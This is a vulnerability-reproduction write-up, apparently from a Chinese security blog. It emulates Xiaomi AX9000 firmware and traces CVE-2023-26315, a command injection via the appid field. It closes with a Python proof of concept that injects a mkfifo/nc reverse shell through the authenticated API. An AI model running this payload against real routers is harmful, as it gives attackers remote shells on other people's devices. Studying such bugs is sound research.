小米AX9000路由器CVE-2023-26315复现

注意,不建议按照本文的环境搭建教程来配置ARM64环境,作者在最后执行poc的时候出现了问题,建议按照ZIKH26师傅的文章来配置环境

点击这里

准备工作

这里直接引用winmt师傅的原话了


首先,可以从官网下载对应版本的固件:小米路由器AX9000 稳定版 1.0.168

小米的固件最外面用的是UBIFS文件系统,固件本身没有加密,先用binwalk解出一个.ubi文件,然后用ubireader_extract_images xxx.ubi,可以在ubifs-root内解出三个.ubifs文件,对其中的xxx-ubi_rootfs.ubifsbinwalk再解开,即可得到里面的SquashFS文件系统,也就是核心部分。

小米的前端也是用的Lua编写的,但是其中的Lua文件不是源码,而是编译后的二进制文件,所以我们需要对其进行反编译。目前,对Lua反编译的常用工具有unluacluadec。但是小米对Lua的解释器做了魔改,就不能直接用这两个工具进行反编译了,所幸已有师傅对此做了研究,并给出了专门针对小米固件的反编译工具unluac_miwifiluadec_miwifi。至于如何对被魔改的解释器或编译器所编译出来的Lua字节码进行逆向,网上也有不少文章,这里不再展开。

我这里用的是unluac_miwifi,最终可以编译出一个unluac.jar,但一次只能对一个Lua文件进行反编译,所以我们需要写一个批量处理的简单脚本:

1
2
3
4
5
6
7
import os
res = os.popen("find ./ -name *.lua").readlines()
for i in range(0, len(res)) :
path = res[i].strip("\n")
cmd = "java -jar /home/winmt/unluac_miwifi/build/unluac.jar " + path + " > " + path + ".dis"
print(cmd)
os.system(cmd)

环境搭建

参考文章

(2 封私信) 手把手教你搭建ARM64 QEMU环境 - 知乎

qemu-system-aarch64完整环境搭建 - dblog

奇安信攻防社区-小米AX9000路由器CVE-2023-26315漏洞挖掘

由于没有现成的aarch64的内核镜像和文件系统,所以需要自己编译一个

下载编译内核

kernel官网下载内核,我下载的是5.10.245

解压

解压kernel源码,并编译

1
2
3
4
5
tar -xf linux-5.10.245.tar.xz
cd linux-5.10.245
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- defconfig
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- Image -j8
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- modules -j8

使用busybox制作根文件系统

先下载busybox官网上的最新版本源码,并进行解压

1
2
wget https://www.busybox.net/downloads/busybox-1.36.1.tar.bz2
tar -xjf busybox-1.36.1.tar.bz2

设置交叉编译工具链

-> Settings

image-20251029164645302

勾选Build static binary (no shared libs)

同时将 Cross compiler prefix设置为(aarch64-linux-gnu-)

但是不知道为什么编译出来仍然是x64的,而不是aarch64

所以直接在命令行里设置编译器

1
2
3
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- menuconfig
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- -j8
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- install

编译好后查看

1
2
~/Desktop/busybox-1.36.1 » file _install/bin/busybox                 tao@taotao
_install/bin/busybox: ELF 64-bit LSB executable, ARM aarch64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=6d59fc631ba494a850f79846c06ce6d5c0b943a4, for GNU/Linux 3.7.0, stripped

可以看到编译成功

创建文件系统

1
2
3
4
5
6
7
8
mkdir rootfs
mkdir -p rootfs/lib
cd rootfs
cp -r /usr/aarch64-linux-gnu/lib/ .
cp -r busybox-1.36.1/_install/* .
mkdir -p etc dev mnt proc sys tmp mnt root etc/init.d/
touch etc/initab etc/fstab etc/profile etc/init.d/rcS
chmod +x etc/initab etc/init.d/rcS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#/init.d.rcS
#!/bin/sh
echo "=== Boot script start ==="

# 1. 挂载基本的虚拟文件系统
mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs none /dev
mount -t tmpfs none /tmp


# 2. 运行 BusyBox 的 mdev 设备管理
/bin/mount -a
echo /sbin/mdev > /proc/sys/kernel/hotplug
/sbin/mdev -s

# 3. 启动回环网络接口
/sbin/ifconfig lo 127.0.0.1 up
/sbin/ifconfig eth0 192.168.49.101 netmask 255.255.255.0 up

1
2
3
4
5
6
#fstab
#device mount-point type options dump fsck order
proc /proc proc defaults 0 0
tmpfs /tmp tmpfs defaults 0 0
sysfs /sys sysfs defaults 0 0
tmpfs /dev tmpfs defaults 0 0

1
2
3
4
5
#initab
::sysinit:/etc/init.d/rcs
::askfirst:-/bin/sh
::restart:/sbin/init
::ctrlaltdel:/sbin/reboot

1
2
3
4
5
6
7
8
9
10
11
12
#profile
#!/bin/sh
export HOSTNAME=WSL
export USER=root
export HOME=root
export PS1="[$USER@HOSTNAME \W]\# "
PATH=/bin:/sbin:/usr/bin:usr/sbin
LD_LIBRARY_PATH=/lib:/usr/lib:$LD_LIBRARY_PATH
export PATH LD_LIBRARY_PATH
mknod dev/console c 5 1
mknod dev/tty1 c 4 1
mknod dev/null c 1 3
1
find . | cpio -o -H newc |gzip > ../rootfs.cpio.gz

这样,文件系统和内核都创建好了,qemu启动就可以模拟aarch64环境


启动qemu

创建网卡,让qemu使用

1
2
3
sudo ip tuntap add dev tap0 mode tap user $(whoami)
sudo ip addr add 192.168.49.1/24 dev tap0
sudo ip link set tap0 up
1
2
3
4
5
6
7
8
9
10
qemu-system-aarch64 \
-machine virt,gic-version=3 \
-cpu cortex-a57 \
-m 1024M \
-smp 2 \
-nographic \
-kernel Image \
-initrd rootfs.cpio.gz \
-append "root=/dev/ram console=ttyAMA0 rdinit=/linuxrc" \
-nic tap,ifname=tap0,script=no,downscript=no

屏幕截图 2025-10-29 170103

chroot隔离环境

1
2
tar -czvf pick.tar squashfs-root
python3 -m http.server 7777
1
2
wget 192.168.49.130:7777/pick.tar
tar -xzvf pick.tar

把所需文件传到qemu里解压

1
2
3
4
5
cd squashfs-root
mount --bind /proc proc
mount --bind /dev dev
mount --bind /sys sys
busybox chroot . /bin/sh #自带的chroot不太好使,直接使用busybox中的

固件仿真

参考文章

[原创] 小米路由器固件仿真模拟方案-智能设备-看雪论坛-安全社区|非营利性质技术交流社区

小米AX9000路由器CVE-2023-26315漏洞复现 - IOTsec-Zone

通过firmwalker检查一遍固件,可以发现有三个httpd服务uhttpdmihttpdsysapihttpd

启动httpd服务

这里直接引用winmt师傅的原话了

根据openwrt的内核初始化流程,按理说应该先启动/etc/preinit,其中会执行/sbin/init进行初始化,但是在这套固件仿真的时候,这样会导致qemu重启,所以我们首先先执行/sbin/init中最重要的/sbin/procd &,启动进程管理器即可。

1
/sbin/procd &

下面就该启动httpd服务了,简单检索一下,发现有uhttpdmihttpdsysapihttpd。进一步查看一下配置文件(如/etc/sysapihttpd/sysapihttpd.conf),发现sysapihttpd其实就是nginx,监听了80端口,有了nginx自然就不需要再启动uhttpd了。而mihttpd中监听了8198端口,定义了一些文件上传下载的API,可以暂时先不启。

1
2
[root@HOSTNAME ] /etc/init.d/sysapihttpd start
/etc/rc.common: /lib/functions/procd.sh: line 518: can't create /var/lock/procd_sysapihttpd.lock: nonexistent directory

可以看到报错没有/var/lock/procd_sysapihttpd.lock

1
2
mkdir /var/lock
touch /var/lock/procd_sysapihttpd.lock

再次运行可以看到

1
2
3
4
5
6
7
[root@HOSTNAME ]# /etc/init.d/sysapihttpd start
/etc/rc.common: /lib/functions/procd.sh: line 518: flock: Permission denied
/etc/rc.common: /lib/functions/procd.sh: line 1: flock: Permission denied
env_init
start fcgi-cgi by spawn-fcgi.
start nginx ok.
Failed to connect to ubus

缺少flock以及ubus没有运行

1
2
3
4
5
6
7
cat > /bin/flock << 'EOF'
#!/bin/sh
shift 2
exec "$@"
EOF

chmod +x /bin/flock

但是在启动ubusd的时候报错

1
2
3
[root@HOSTNAME ]# argv[0]:/sbin/ubusd,basename:ubusd
is ubusd
usock: No such file or directory

ida打开观察逻辑,应该是usock要打开/var/run/ubus.sock,但是没有,导致返回值错误,导致了 perror("usock");

屏幕截图 2025-10-29 211738

1
2
mkdir /var/run
touch /var/run/ubus.sock
1
2
3
4
5
[root@HOSTNAME ]# /sbin/ubusd &
[root@HOSTNAME ]# argv[0]:/sbin/ubusd,basename:ubusd
is ubusd
get new connect accept fd :9
new client id will send hello

之后执行

1
2
3
4
5
6
7
8
9
10
11
12
13
[root@HOSTNAME ]# /etc/init.d/sysapihttpd start
env_init
start fcgi-cgi by spawn-fcgi.
start nginx ok.
get new connect accept fd :10
new client id will send hello
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory

image-20251029213438120

winmt:(这里缺失/dev/nvram芯片可以先不用管,因为后续没有用到相关操作,暂时不用hook

可以看到这些端口都开放了,但是curl却不成功,具体解决方法请看winmt师傅的分析和解决方法


但是在解决之后发现fcgi-cgi没有启动,导致访问IP的时候不能重定位,排查原因后发现在/etc/init.d/sysapihttpd

1
procd_set_param command $SPAWN_FCGI -a 127.0.0.1 -p $FCGI_PORT -U nobody -C 0 -F $FCG_PROCESS_NUM -- $FCGI -c 2

会将fcgi-cgi绑定在127.0.0.1,但是因为qemu里这个本地回环ip没有启动,启动一下再重新启动/etc/init.d/sysapihttpd就好了

1
ip link set lo up

image-20251030123526042

image-20251030123601348

可以发现访问ip后重定位到了init.html,但是由于仿真环境无法初始化,看一下怎么绕过:

1
2
3
4
5
6
7
8
9
10
11
12
~/Desktop/IOT/xiaomi/_miwifi_ra70_firmware_cc424_1.0.168.bin.extracted/ubifs-root/2B4.ubi/_img-870537086_vol-ubi_rootfs.ubifs.extracted/squashfs-root » grep -r "init.html"
usr/lib/lua/luci/view/web/sysauth.htm: luci.http.redirect("/init.html")
usr/lib/opkg/info/webpages.list:/www/init.html
etc/sysapihttpd/miwifi-webinitrd.conf: rewrite ^(.*)$ http://miwifi.com/init.html? break;
etc/sysapihttpd/miwifi-webinitrd.conf: rewrite ^(.*)$ http://miwifi.com/init.html? break;
etc/sysapihttpd/miwifi-webinitrd.conf: rewrite ^(.*)$ http://miwifi.com/init.html? break;
etc/sysapihttpd/miwifi-webinitrd.conf:location /init.html {
etc/sysapihttpd/miwifi-webinitrd-https.conf: rewrite ^(.*)$ http://miwifi.com/init.html? break;
etc/sysapihttpd/miwifi-webinitrd-https.conf: rewrite ^(.*)$ http://miwifi.com/init.html? break;
etc/sysapihttpd/miwifi-webinitrd-https.conf: rewrite ^(.*)$ http://miwifi.com/init.html? break;
etc/sysapihttpd/miwifi-webinitrd-https.conf: location /init.html {

可以发现usr/lib/lua/luci/view/web/sysauth.htm: luci.http.redirect("/init.html")这个地方将请求重定位到了/www/init.html 的静态页面,看一下了附近逻辑

1
2
3
4
5
if not XQSysUtil.getInitInfo() then

luci.http.redirect("/init.html")

end

根据winmt师傅的分析

img

只需要改掉检测的标志位,就可以绕过了

1
2
3
4
5
6
7
8
[root@HOSTNAME ]# lua -e "XQSysUtil = require('xiaoqiang.util.XQSysUtil'); print(XQSysUtil.getInitInfo())"
false
[root@HOSTNAME ]# uci set xiaoqiang.common.INITTED=1
[root@HOSTNAME ]# uci commit
[root@HOSTNAME ]# uci show xiaoqiang.common.INITTED
xiaoqiang.common.INITTED='1'
[root@HOSTNAME ]# lua -e "XQSysUtil = require('xiaoqiang.util.XQSysUtil'); print(XQSysUtil.getInitInfo())"
true

然后再次访问页面,访问成功

image-20251030142016346

漏洞分析

授权认证

在反编译的/usr/lib/lua/luci/controller/api/xqdatacenter.lua中,可以看到 URL /api/xqdatacenter/request 相关的handler函数是tunnelRequest函数

创建了/api/xqdatacenter节点,这个访问这个节点的子节点默认需要鉴权,需要经过管理员认证(admin),如果当前token无效,则调用 authenticator.jsonauth() 处理登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
function L0()
local L0, L1, L2, L3, L4, L5, L6
L0 = node
L1 = "api"
L2 = "xqdatacenter"
L0 = L0(L1, L2)
L1 = firstchild
L1 = L1()
L0.target = L1
L0.title = ""
L0.order = 300
L0.sysauth = "admin"
L0.sysauth_authenticator = "jsonauth"
L0.index = true
...
L1 = entry
L2 = {}
L3 = "api"
L4 = "xqdatacenter"
L5 = "request"
L2[1] = L3
L2[2] = L4
L2[3] = L5
L3 = call
L4 = "tunnelRequest"
L3 = L3(L4)
L4 = _
L5 = ""
L4 = L4(L5)
L5 = 301
L1(L2, L3, L4, L5)
...
L1 = entry
L2 = {}
L3 = "api"
L4 = "xqdatacenter"
L5 = "upload"
L2[1] = L3
L2[2] = L4
L2[3] = L5
L3 = call
L4 = "upload"
L3 = L3(L4)
L4 = _
L5 = ""
L4 = L4(L5)
L5 = 304
L6 = 16
L1(L2, L3, L4, L5, L6)
...
end
index = L0

看一下enter函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function L10(A0, A1, A2, A3, A4)
local L5, L6, L7
L5 = node
L6 = unpack
L7 = A0
L6, L7 = L6(L7)
L5 = L5(L6, L7)
L5.target = A1
L5.title = A2
L5.order = A3
L5.flag = A4
L6 = getfenv
L7 = 2
L6 = L6(L7)
L6 = L6._NAME
L5.module = L6
return L5
end
entry = L10

根据传进来的path参数创建一个节点,并把后面的参数储存在这个节点中,而第五个参数是标志位,决定了访问这个节点需不需要鉴权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
if not L16 then
L18 = L7.flag
if not L17 then
if L17 then
L18 = "luci.sauth"
L18 = require
L19 = "xiaoqiang.util.XQCryptoUtil"
L18 = L18(L19)
L19 = require
L20 = "xiaoqiang.util.XQSysUtil"
L19 = L19(L20)
L20 = L19.getPassportBindInfo
L20 = L20()
L21 = type
L22 = L7.sysauth_authenticator
L21 = L21(L22)
if L21 == "function" then
L21 = L7.sysauth_authenticator
if L21 then
goto lbl_427
end
end
L21 = authenticator
L22 = L7.sysauth_authenticator
L21 = L21[L22]
::lbl_427::
L22 = type
L23 = L7.sysauth
L22 = L22(L23)
L22 = L22 == "string" and L22
if L22 then
L23 = {}
L24 = L7.sysauth
L23[1] = L24
if L23 then
goto lbl_444
end
end
L23 = L7.sysauth
::lbl_444::
L24 = L1.urltoken
L24 = L24.stok
L25 = L17.read
L26 = L24
L25 = L25(L26)
L26 = nil
if L25 then
L27 = L1.urltoken
L27 = L27.stok
L28 = L25.token
if L27 == L28 then
L27 = L25.ip
if L27 then
L27 = L25.ip
if L27 then
L27 = L25.ip
if L27 == L14 then
L26 = L25.user
end
end
end
end
else
L27 = _UPVALUE0_
L27 = L27.getenv
L28 = "HTTP_AUTH_USER"
L27 = L27(L28)
L28 = _UPVALUE0_
L28 = L28.getenv
L29 = "HTTP_AUTH_PASS"
L28 = L28(L29)
if L27 and L28 then
L29 = luci
L29 = L29.sys
L29 = L29.user
L29 = L29.checkpasswd
L30 = L27
L31 = L28
L29 = L29(L30, L31)
if L29 then
L29 = require
L30 = "xiaoqiang.XQLog"
L29 = L29(L30)
L30 = L29.log
L31 = 4
L32 = "Native Luci: HTTP_AUTH_USER & HTTP_AUTH_PASS"
L30(L31, L32)
end
end
end
L27 = _UPVALUE1_
L27 = L27.contains
L28 = L23
L29 = L26
L27 = L27(L28, L29)
if not L27 then
if L21 then
L27 = L1.urltoken
L27.stok = nil
L27 = L21
L28 = nil
L29 = L23
L30 = L22
L27, L28 = L27(L28, L29, L30)
if L27 then
L29 = _UPVALUE1_
L29 = L29.contains
L30 = L23
L31 = L27
L29 = L29(L30, L31)
if L29 then
goto lbl_523
end
end
do return end
goto lbl_569
::lbl_523::
L29 = L24 or L29
if not L24 then
L29 = luci
L29 = L29.sys
L29 = L29.uniqueid
L30 = 16
L29 = L29(L30)
end
L30 = L28 or L30
if not L28 then
L30 = "2"
end
L31 = luci
L31 = L31.sys
L31 = L31.uniqueid
L32 = 16
L31 = L31(L32)
L32 = L17.reap
L32()
L32 = L17.write
L33 = L31
L34 = {}
L34.user = L27
L34.token = L31
L34.ltype = L30
L34.ip = L14
L35 = luci
L35 = L35.sys
L35 = L35.uniqueid
L36 = 16
L35 = L35(L36)
L34.secret = L35
L32(L33, L34)
L32 = L1.urltoken
L32.stok = L31
L1.authsession = L31
L1.authuser = L27
else
L27 = luci
L27 = L27.http
L27 = L27.status
L28 = 403
L29 = "Forbidden"
L27(L28, L29)
return
end
else
L1.authsession = L24
L1.authuser = L26

这一段dispatch应该就是对于不同flag的选择,但是可能因为反编译有点问题,不太好看,如果flag&0x1=1就可以免鉴权,而request节点没有传入flag,所以默认需要鉴权

看一下鉴权函数 authenticator.jsonauth:

首先导入xiaoqiang.util.XQSysUtil,然后获取请求的username,password,nonce,

  • 如果有nonce,则checkNonce,过了的话checkUser,也过了的话通过empower设置授权,然后设置一个Cookie
  • 如果没有nonce,则checkPlaintextPwd,检查明文密码,过了之后empower设置授权,然后设置一个Cookie
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
function L11(A0, A1, A2)
local L3, L4, L5, L6, L7, L8, L9, L10, L11, L12, L13, L14
L3 = require
L4 = "xiaoqiang.util.XQSysUtil"
L3 = L3(L4)
L4 = luci
L4 = L4.http
L4 = L4.xqformvalue
L5 = "username"
L4 = L4(L5)
L5 = luci
L5 = L5.http
L5 = L5.xqformvalue
L6 = "password"
L5 = L5(L6)
L6 = luci
L6 = L6.http
L6 = L6.xqformvalue
L7 = "nonce"
L6 = L6(L7)
if L6 then
L7 = _UPVALUE0_
L7 = L7.checkNonce
L8 = L6
L9 = getremotemac
L9, L10, L11, L12, L13, L14 = L9()
L7 = L7(L8, L9, L10, L11, L12, L13, L14)
if L7 then
L7 = _UPVALUE0_
L7 = L7.checkUser
L8 = L4
L9 = L6
L10 = L5
L7 = L7(L8, L9, L10)
if L7 then
L7 = empower
L8 = "1"
L9 = "1"
L10 = nil
L7(L8, L9, L10)
L7 = "2"
L8 = luci
L8 = L8.http
L8 = L8.header
L9 = "Set-Cookie"
L10 = "psp="
L11 = L4
L12 = "|||"
L13 = L7
L14 = "|||0;path=/;"
L10 = L10 .. L11 .. L12 .. L13 .. L14
L8(L9, L10)
L8 = L4
L9 = L7
return L8, L9
else
L7 = loginAuthenFailed
L7()
end
else
L7 = context
L8 = {}
L7.path = L8
L7 = luci
L7 = L7.http
L7 = L7.write
L8 = "{\"code\":1582,\"msg\":\"Invalid nonce\"}"
L7(L8)
L7 = false
return L7
end
else
L7 = _UPVALUE0_
L7 = L7.checkPlaintextPwd
L8 = L4
L9 = L5
L7 = L7(L8, L9)
if L7 then
L7 = empower
L8 = "1"
L9 = "1"
L10 = nil
L7(L8, L9, L10)
L7 = "2"
L8 = luci
L8 = L8.http
L8 = L8.header
L9 = "Set-Cookie"
L10 = "psp="
L11 = L4
L12 = "|||"
L13 = L7
L14 = "|||0;path=/;"
L10 = L10 .. L11 .. L12 .. L13 .. L14
L8(L9, L10)
L8 = L4
L9 = L7
return L8, L9
else
L7 = context
L8 = {}
L7.path = L8
L7 = luci
L7 = L7.http
L7 = L7.write
L8 = "{\"code\":401,\"msg\":\"Invalid token\"}"
L7(L8)
L7 = false
return L7
end
end
L7 = context
L8 = {}
L7.path = L8
L7 = luci
L7 = L7.http
L7 = L7.write
L8 = "{\"code\":401,\"msg\":\"not auth\"}"
L7(L8)
L7 = false
return L7
end
L10.jsonauth = L11
L10 = authenticator

看一下checkUser函数和XQPreference.get函数

  • ```
    uci get 配置文件.common.配置项
    1
    2
    3
    4
    5
    6

    - ```
    L3 = luci.model.uci.cursor() -- 创建 UCI 配置游标
    L4 = L3.get(A2, "common", A0) -- 获取配置: uci get A2.common.A0
    L5 = L4 or A1 -- 如果不存在,使用默认值 A1
    return L5 -- 返回配置值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function L1(A0, A1, A2)
local L3, L4, L5, L6, L7, L8
L3 = require
L4 = "luci.model.uci"
L3(L4)
A2 = A2 or A2
L3 = luci
L3 = L3.model
L3 = L3.uci
L3 = L3.cursor
L3 = L3()
L5 = L3
L4 = L3.get
L6 = A2
L7 = "common"
L8 = A0
L4 = L4(L5, L6, L7, L8)
L5 = L4 or L5
if not L4 then
L5 = A1
end
return L5
end
get = L1
  • 先获取account.common.(用户名),然后检测是否为空,然后检测nonce是否为空,然后将nonceaccount.common.(用户名)拼接起来sha1计算,与传入的passwd进行比较,比较正确,则授权成功,返回
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
function L13(A0, A1, A2)
local L3, L4, L5, L6, L7, L8, L9
L3 = _UPVALUE0_
L3 = L3.get
L4 = A0
L5 = nil
L6 = "account"
L3 = L3(L4, L5, L6)
if L3 then
L4 = _UPVALUE1_
L4 = L4.isStrNil
L5 = A2
L4 = L4(L5)
if not L4 then
L4 = _UPVALUE1_
L4 = L4.isStrNil
L5 = A1
L4 = L4(L5)
if not L4 then
L4 = _UPVALUE2_
L4 = L4.sha1
L5 = A1
L6 = L3
L5 = L5 .. L6
L4 = L4(L5)
if L4 == A2 then
L4 = true
return L4
end
end
end
end
L4 = _UPVALUE3_
L4 = L4.log
L5 = 4
L6 = luci
L6 = L6.http
L6 = L6.getenv
L7 = "REMOTE_ADDR"
L6 = L6(L7)
L6 = L6 or L6
L7 = " Authentication failed"
L6 = L6 .. L7
L7 = A1
L8 = L3
L9 = A2
L4(L5, L6, L7, L8, L9)
L4 = false
return L4
end
checkUser = L13

因此,接下来,我们需要确定POST报文中传入的密码和用户名字段是什么。很显然,POST请求报文中的密码字段不可能是明文的形式,不然随便拦截一下就寄了。故而,一定会有相关的JavaScript代码对用户提交的密码进行加密(哈希)后再进行传输。所以,可以直接在浏览器登录页面中,查看一下相关的web代码:

image-20251030225621403

image-20251030230122144

可以看出,报文中的用户名字段固定就是admin,而密码字段是通过oldPwd()函数加密后的结果。这里的oldPwd()函数将用户提交的密码明文与一个固定的key值(a2ffa5c9be07488bbb04a3a47d3c5f6a)拼接后,进行sha1哈希,再将结果继续与现时nonce拼接后,再sha1哈希一次,作为POST请求报文中的密码字段。

所以最后鉴权中比较的两个数据其实就是:

  • sha1(nonce+account.common.(用户名))
  • sha1(nonce+sha1(pwd+key))

结合上述分析,我们需要将account.common.admin这个uci配置项设置为sha1(登录密码+key),比如说登录密码设置为taotao,那么这个值就是sha1(taotaoa2ffa5c9be07488bbb04a3a47d3c5f6a)=918408e8e30952499f219c880c07a92701e3a416

1
2
[root@HOSTNAME ]# uci set account.common.admin=918408e8e30952499f219c880c07a92701e3a416
[root@HOSTNAME ]# uci commit

可以看到输入密码taotao成功登录

image-20251030232650419

二进制分析

看一下requesthadnler函数tunnelRequest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function L5()
local L0, L1, L2, L3, L4, L5, L6, L7, L8
L0 = require
L1 = "xiaoqiang.util.XQCryptoUtil"
L0 = L0(L1)
L1 = L0.binaryBase64Enc
L2 = _UPVALUE0_
L2 = L2.formvalue_unsafe
L3 = "payload"
L2, L3, L4, L5, L6, L7, L8 = L2(L3)
L1 = L1(L2, L3, L4, L5, L6, L7, L8)
L2 = _UPVALUE1_
L2 = L2.THRIFT_TUNNEL_TO_DATACENTER
L2 = L2 % L1
L3 = require
L4 = "luci.util"
L3 = L3(L4)
L4 = _UPVALUE0_
L4 = L4.write
L5 = L3.exec
L6 = L2
L5 = L5(L6)
L6 = nil
L7 = false
L8 = true
L4(L5, L6, L7, L8)
end
tunnelRequest = L5

payload进行base64加密后,拼接到THRIFT_TUNNEL_TO_DATACENTER字符串后面,并执行exec

/usr/lib/lua/xiaoqiang/common/XQConfigs.lua中,可以找到THRIFT_TUNNEL_TO_DATACENTER的相关定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
L0 = "thrifttunnel 0 '%s'"
THRIFT_TUNNEL_TO_DATACENTER = L0
L0 = "thrifttunnel 1 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME = L0
L0 = "thrifttunnel 2 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER = L0
L0 = "thrifttunnel 3 ''"
THRIFT_TO_MQTT_IDENTIFY_DEVICE = L0
L0 = "thrifttunnel 4 ''"
THRIFT_TO_MQTT_GET_SN = L0
L0 = "thrifttunnel 5 ''"
THRIFT_TO_MQTT_GET_DEVICEID = L0
L0 = "thrifttunnel 6 '%s'"
THRIFT_TUNNEL_TO_MIIO = L0
L0 = "thrifttunnel 7 '%s'"
THRIFT_TUNNEL_TO_YEELINK = L0
L0 = "thrifttunnel 8 '%s'"
THRIFT_TUNNEL_TO_CACHECENTER = L0

所以最终所执行的完整命令是thrifttunnel 0 'base64编码的payload字段',即payload字段中被Base64编码后的Json数据会被传入thrifttunnel程序中,且option0

看一下thrifttunnel

首先加加密后的数据解密,之后进入case 0,然后

image-20251030215251621

将解密后的字符串decode发送给本地的9090端口

image-20251030215402289

筛选一下程序,可以看到在/usr/sbin/datacenter程序中监听着9090端口

image-20251031181430037

在这个程序接收到这个请求后,会调用DataCenterHandler::requestAPIMapping::APIMappinghandlerTable进行了初始化,不同的api与不同的handler函数对应起来,函数APIMapping::redirectRequest会解析用户端发来的请求,根据请求中的api_id执行对应的handler函数

image-20251031181638628

image-20251031181850575

遍历handlerTable找到对应的api,然后调用所对应的handler函数

而漏洞函数在api629的逻辑中,可以看到对应的函数为callPluginCenter

callPluginCenter函数中,将json结构体转为字符串储存在v5,然后传给ThriftClient::sCallPluginCenter,结果储存在v6

image-20251031183008325

然后在ThriftClient::sCallPluginCenterjson传给9091端口,从函数名可以猜测,PluginCenter在检测9091

屏幕截图 2025-10-31 183458

PluginCenter程序的结构与/usr/sbin/datacenter程序的处理逻辑基本一样,看一下PluginCenterhadnlerTable

datacenter::PluginApiMappingExtendCollection::sConstructMappingTable中可以看到调用了parseGetIdForVendor

image-20251031185535023

parseGetIdForVendor会取appid的字段转字符串传给getIdForVendor

image-20251031190628777

可以看到会对appid的内容检测,但是检测不通过却没有返回退出,而是仍然向下走,将错误的appid与字符串拼接,传入CommonUtils::sCallSystem,造成了命令注入,至此漏洞分析完成

image-20251031204617479

POC验证

1
2
/usr/sbin/datacenter &
/usr/sbin/plugincenter &

image-20251101163623345

启动这两个服务,可以看到90909091端口也在监听中了,然后把请求发过去,实现反弹shell

image-20251104213707131

可以看到确实能够实现RCE但是不清楚为什么反弹shell没有成功

poc

1
2
3
4
5
6
7
8
9
10
11
import requests

server_ip = "192.168.122.130"
client_ip = "192.168.49.130"
token = "d3eb9f46fd0a04be4115ffcc49d0536b"

nc_shell = ";mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} 5555 >/tmp/f;".format(client_ip)

res = requests.post("http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request".format(server_ip, token), data={'payload':'{"api":629, "appid":"' + nc_shell + '"}'})

print(res.text)